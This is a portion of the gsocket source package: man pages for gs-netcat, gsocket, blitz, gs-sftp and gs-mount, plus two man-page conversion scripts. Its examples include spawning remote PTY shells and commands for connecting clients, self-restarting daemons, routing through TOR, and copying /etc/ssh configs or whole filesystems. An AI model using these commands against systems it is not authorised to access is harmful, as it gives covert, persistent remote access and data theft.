nc -lp 1234 # TCP port is 1234 Client: .Dl $ gs-netcat -s 1234-MySecret # Notice `-` .Pp .Nm Test 2 - gsocket client and gs-netcat server: .Pp Server: .Dl $ gs-netcat -s 1234-MySecret -l Client: .Dl $ gsocket -s MySecret nc blah.gsocket 1234 .Pp Internally the .Nm tool (on the client side) forks a background gs-netcat process listening on 127.31.33.7 on a random TCP port. The .Nm tool then detects `nc` trying to resolve `blah.gsocket` and returns 127.31.33.7 to `nc`. The `nc` process then connects to 127.31.33.7 instead and the gs-netcat process (that got started automatically) takes the connection and forwards the traffic via the GSRN. The `nc` tool can also directly connect to 127.31.33.7 instead of blah.gsocket (for testing): .Pp Client: .Dl $ gsocket -s MySecret nc -n 127.31.33.7 1234 .Pp .Nm Test 3 - SSHD via gsocket: .Pp Server: .Dl $ gsocket -s MySecret /usr/sbin/sshd -D -p 1234 Client: .Dl $ gs-netcat -s 1234-MySecret .Dl SSH-2.0-OpenSSH_8.4p1 Debian-2 .Pp Use gs-netcat as a port-forwarder and ssh to connect: .Pp Client: .Dl $ gs-netcat -s 1234-MySecret -p 44222 .Dl $ ssh -p 44222 user@127.1 .Pp .Nm Test 4 - SSH via gsocket: .Pp On the server start a gs-netcat port forward to forward incoming GSRN connections to the SSHD on localhost: .Pp Server: .Dl $ gs-netcat -s 22-MySecret -l -d 127.0.0.1 -p 22 Client: .Dl $ gsocket -s MySecret ssh user@gsocket .Pp .Sh ENVIRONMENT The following environment variables can be set to control the behavior of .Nm .Pp .Nm GSOCKET_SOCKS_IP .Dl Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1. .Pp .Nm GSOCKET_SOCKS_PORT .Dl The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050. .Pp .Nm GSOCKET_ARGS .Dl A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS. .Sh SECURITY Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted: .Pp .Dl $ gsocket -k .Pp .Dl $ export GSOCKET_ARGS="-s MySecret" .Dl $ gsocket .Pp .Nm 1. The security is end-2-end. This means from user-2-user (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users. .Pp .Nm 2. The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime. .Pp .Nm 3. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess. .Pp .Nm 4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect. .Pp .Nm 5. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected. .Pp .Nm 6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection. .Pp .Nm 7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known. .Sh NOTES The latest version is available from https://github.com/hackerschoice/gsocket/. .Sh SEE ALSO .Xr gs-netcat(1) , .Xr gs-sftp(1) , .Xr gs-mount(1) , .Xr blitz(1) , .Xr nc(1) , .Xr socat(1) .Sh BUGS Efforts have been made to have .Nm "do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave. gsocket-1.4.41/man/man2html.sh0000755000175000017500000000030414503376047016006 0ustar epsilonepsilon#! /bin/bash for x in *.1; do man2html -H hackerschoice.github.io -M'/' -p <"${x}" | sed -e 's/\(\:\/\/hackerschoice\.github\.io\/\)\/\([0-9]\)+\([a-z-]*\)/s\1\3.\2.html/g' >"${x}.html" done gsocket-1.4.41/man/blitz.10000755000175000017500000000525314503376047015146 0ustar epsilonepsilon.Dd October 12, 2020 .Dt BLITZ 1 .Os .Sh NAME .Nm blitz .Nd Securely transfer files between two workstations through NAT/Firewall. .Sh SYNOPSIS .Nm blitz .Op Fl lT .Op Fl s Ar secret .Op Fl k Ar keyfile .Op Fl f Ar list .Op Fl o Ar RSOPT= .Op Ar files ... .Sh DESCRIPTION The .Nm utility is a wrapper script for gs-netcat and rsync. It allows one to send files from one workstation to another workstation via the Global Socket Relay Network (GSRN). .Pp A typical use-case is where both workstations are separated by a Firewall or NAT and not able to establish a direct connection between each other. .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl l Server mode. The default mode is client. .It Fl s Ar secret A password chosen by the user. Both users need to use the same password to connect. .It Fl k Ar FILE A file containing the password. .It Fl f Ar FILE Read list of file names from FILE. If FILE is -, the list will be read from standard input. .It Fl o Ar RSOPT= Options passed to rsync. See .Xr rsync(1) for available options. .It Fl T Use TOR. The .Nm tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables. .El .Pp See .Xr gs-netcat(1) for more options. .Sh EXAMPLES Listen for clients with password 'MySecret': .Dl $ mkdir /tmp/foo && cd /tmp/foo .Dl $ blitz -s MySecret -l .Pp Copy 'file.dat' to /tmp/foo/file.dat on the server: .Dl $ blitz -s MySecret file.dat .Pp Copy '/etc/ssh/ssh*config' to /tmp/foo/etc/ssh/ on the server: .Dl $ blitz -s MySecret /etc/ssh/ssh*config .Pp It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this: .Pp .Dl $ blitz -s MySecret /etc/./ssh/ssh*config The received files will be stored to /tmp/foo/ssh/ instead of /tmp/foo/etc/ssh. .Pp Copy recursively and limit bandwidth to 10kB/sec: .Dl $ blitz -s MySecret -o 'RSOPT=--bwlimit=10' /usr/./share .Pp Copy the entire root file-system: .Dl $ blitz -s MySecret -o 'RSOPT=-x' / .Pp Copy specific files read from standard input: .Dl $ find\ . -name '*.conf' | blitz -s MySecret -f \- .Pp Run a permanent server (daemon) through TOR: .Dl $ blitz -s MySecret -l -D -T .Pp .Sh ENVIRONMENT See .Xr gs-netcat(1) for a list of supported environment variables. .Pp .Sh SEE ALSO .Xr gsocket(1) , .Xr gs-netcat(1) , .Xr gs-sftp(1) , .Xr gs-mount(1) , .Xr rsync(1) .Pp .Sh BUGS Efforts have been made to have .Nm "do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave. gsocket-1.4.41/man/Makefile.am0000755000175000017500000000010314503376047015761 0ustar epsilonepsilondist_man_MANS = gsocket.1 gs-netcat.1 gs-sftp.1 blitz.1 gs-mount.1 gsocket-1.4.41/man/gs-sftp.10000755000175000017500000000326314503376047015404 0ustar epsilonepsilon.Dd October 12, 2020 .Dt GS-SFTP 1 .Os .Sh NAME .Nm gs-sftp .Nd Secure File Transfer Protocol via Global Socket. .Sh SYNOPSIS .Nm gs-sftp .Op Fl lTR .Op Fl s Ar secret .Op Fl k Ar keyfile .Sh DESCRIPTION The .Nm utility is a wrapper script for gs-netcat. It allows two users to establish a secure SFTP connetion via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly. .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl s Ar secret A password chosen by the user. Both users need to use the same password to connect. .It Fl k Ar FILE A file containing the password. .It Fl l Server mode. The default mode is client. .It Fl R Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied. .It Fl T Use TOR. The .Nm tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables. .El .Pp See .Xr gs-netcat(1) for more options. .Sh EXAMPLES .Nm Example 1 - SFTP Server listening for clients using password 'MySecret': .Dl $ gs-sftp -s MySecret -l .Pp Connect sftp-client using the same password: .Dl $ gs-sftp -s MySecret .Pp .Sh ENVIRONMENT See .Xr gs-netcat(1) for a list of supported environment variables. .Pp .Sh SEE ALSO .Xr gsocket(1) , .Xr gs-netcat(1) , .Xr sftp(1) .Pp .Sh BUGS Efforts have been made to have .Nm "do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave. gsocket-1.4.41/man/man2c.sh0000755000175000017500000000023414503376047015266 0ustar epsilonepsilon#! /bin/bash printf 'const char *man_str = \"\\\n' man ./gs-netcat.1 2>/dev/null | col -b | sed 's/"/\\"/g' | perl -p -e 's/\n/\\n\\\n/' printf '\";\n' gsocket-1.4.41/man/gs-mount.10000755000175000017500000000335414503376047015573 0ustar epsilonepsilon.Dd October 12, 2020 .Dt GS-MOUNT 1 .Os .Sh NAME .Nm gs-mount .Nd Secure filesystem client through via Global Socket. .Sh SYNOPSIS .Nm gs-mount .Op Fl lTR .Op Fl s Ar secret .Op Fl k Ar keyfile .Op Ar mountpoint .Sh DESCRIPTION The .Nm utility is a wrapper script for gs-netcat. It allows a user to mount and access a filesystem from another user via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly. .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl s Ar secret A password chosen by the user. Both users need to use the same password to connect. .It Fl k Ar FILE A file containing the password. .It Fl l Server mode. The default mode is client. .It Fl R Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied. .It Fl T Use TOR. The .Nm tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables. .El .Pp See .Xr gs-netcat(1) for more options. .Sh EXAMPLES .Nm Example 1 - Alice sharing her current directory: .Dl $ gs-mount -s MySecret -l .Pp Bob mounting Alice's directory to ~/gs-alice: .Dl $ gs-mount -s MySecret ~/gs-alice .Pp .Sh ENVIRONMENT See .Xr gs-netcat(1) for a list of supported environment variables. .Pp .Sh SEE ALSO .Xr gsocket(1) , .Xr gs-netcat(1) , .Xr gs-sftp(1) , .Xr blitz(1) , .Xr sshfs(1) .Pp .Sh BUGS Efforts have been made to have .Nm "do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave. gsocket-1.4.41/man/gs-netcat.10000755000175000017500000002476414503376047015717 0ustar epsilonepsilon\# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page" .Dd October 08, 2020 .Dt GS-NETCAT 1 .Os .Sh NAME .Nm gs-netcat .Nd transfer data, forward traffic and execute commands on a remote host. Securely. .Sh SYNOPSIS .Nm gs-netcat .Op Fl rlgvqwCTSDiu .Op Fl s Ar secret .Op Fl k Ar keyfile .Op Fl L Ar logfile .Op Fl d Ar IP .Op Fl p Ar port .Op Fl e Ar cmd .Sh DESCRIPTION The .Nm utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network. .Pp It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections. .Pp The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic. .Pp Common uses include: .Pp .Bl -bullet -offset indent -compact .It simple TCP proxies .It PTY shell .It File transfer .It a SOCKS ProxyCommand for .Xr ssh 1 .It and much, much more. .El .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl C Disable encryption and use clear-text instead. Use with caution. .It Fl d Ar ip Destination IPv4 address for port forwarding. .It Fl D Daemon & Watchdog mode. Start .Nm as a background process and restart if killed. .It Fl e Ar cmd Execute command and send output to the connected client. Needs -l. .It Fl g Generate a secure random password and output it to standard output. .It Fl i Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time. .It Fl k Ar file A file containing the password. .It Fl l Server/Listening mode. The default mode is client. .It Fl L Ar file Log file [default: standard out] .It Fl p Ar port Port to listen on or to forward traffic to [1-65535]. .It Fl q Quiet mode. Do not output any warnings or errors. .It Fl r Receive-only. Do not send any data. Terminate when no more data is available for reading. .It Fl s Ar secret A password chosen by the user. Both users need to use the same password to connect. .It Fl S Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple .Nm clients to (securely) relay traffic via the server. Needs -l. .It Fl T Use TOR. The .Nm tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables. .It Fl t Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer. .It Fl u Use UDP instead of TCP for port forwarding. Needs -p. .It Fl v Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose. .It Fl w Client to wait for the listening server to become available. .El .Sh CONSOLE The interactive login shell ( .Ar -i ) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. The command console displays the following information: .Pp .Bl -bullet -offset indent -compact .It Latency (in milliseconds) to the remote host .It Warning when a user logs into the system or becomes active .It Data throughput .It File transfer logs .El Type 'help' for a list of available commands. .Sh FILETRANSFER File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off. The 'put' command is used for uploading: .Dl put foobar.txt .Dl put $HOME/foobar.txt .Dl put /tmp/*.log .Dl put $(find . -type f -name '*.c') (The above example shows Shell Variable substitution and word expansion) It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this: .Dl put /foo/./bar/baz.c That would create /tmp/bar/baz.c on the remote machine. The 'get' command is used for downloading: .Dl get foobar.txt .Dl get $(find /var/./ -name '*.log') Transferring a directory automatically transfers all files and directories within that directory (recursively): .Dl get /var/log .Dl get / The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem. Multiple get/put commands can be scheduled at the same time. .Sh EXAMPLES .Nm Example 1 - Listen for a new connection using the password 'MySecret': .Dl $ gs-netcat -s MySecret -l .Pp Connect with client using the same password: .Dl $ gs-netcat -s MySecret .Pp .Nm Example 2 - spawn a PTY login shell when a client connects: .Dl $ gs-netcat -s MySecret -l -i .Pp Log in to server's interactive shell: .Dl $ gs-netcat -s MySecret -i .Pp Log in via TOR: .Dl $ gs-netcat -s MySecret -i -T .Pp Log in via a Socks5 Proxy: .Dl $ export GSOCKET_SOCKS_IP=127.0.0.1 .Dl $ export GSOCKET_SOCKS_PORT=1080 .Dl $ gs-netcat -s MySecret -i -T .Pp .Nm Example 3 - Execute a command when a client connects: .Dl $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit' .Pp Connect client to the server: .Dl $ gs-netcat -s MySecret .Pp .Nm Example 4 - Pipe data from client to server: .Dl $ gs-netcat -s MySecret -l -r >warez.tar.gz .Pp Client to read 'warez.tar.gz' and pipe it to the server. .Dl $ gs-netcat -s MySecret